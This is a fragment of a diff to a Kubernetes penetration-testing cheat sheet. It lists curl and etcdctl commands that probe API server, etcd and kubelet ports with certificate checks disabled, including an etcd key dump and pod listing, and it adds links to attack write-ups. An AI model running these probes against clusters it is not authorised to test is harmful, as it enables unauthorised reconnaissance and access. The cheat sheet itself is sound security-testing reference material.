curl -k https://<IP Address>:4194
|
||||
```
|
||||
|
||||
### Insecure API server
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP Address>:8080
|
||||
```
|
||||
|
||||
### Secure API Server
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||
curl -k https://<IP Address>:(8|6)443/healthz
|
||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
```
|
||||
|
||||
### etcd API
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP address>:2379
|
||||
curl -k https://<IP address>:2379/version
|
||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
|
||||
### Kubelet API
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP address>:10250
|
||||
curl -k https://<IP address>:10250/metrics
|
||||
curl -k https://<IP address>:10250/pods
|
||||
```
|
||||
|
||||
### kubelet (Read only)
|
||||
|
||||
```powershell
|
||||
curl -k https://<IP Address>:10255
|
||||
http://<external-IP>:10255/pods
|
||||
```
|
||||
|
||||
|
||||
## Exploits
|
||||
|
||||
### Accessible kubelet on 10250/TCP
|
||||
|
@ -99,4 +384,9 @@ spec:
|
|||
* [Attacking Kubernetes through Kubelet - Withsecure Labs- 11 January, 2019](https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet)
|
||||
* [kubehound - Attack Reference](https://kubehound.io/reference/attacks/)
|
||||
* [KubeHound: Identifying attack paths in Kubernetes clusters - Datadog - October 2, 2023](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/)
|
||||
* [Fun With GitRepo Volumes - Rory McCune - JULY 10TH, 2024](https://raesene.github.io/blog/2024/07/10/Fun-With-GitRepo-Volumes/)
|
||||
* [Fun With GitRepo Volumes - Rory McCune - JULY 10TH, 2024](https://raesene.github.io/blog/2024/07/10/Fun-With-GitRepo-Volumes/)
|
||||
* [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
* [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2)
|
||||
* [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3)
|
||||
* [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
|
||||
* [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)
|
Loading…
Reference in New Issue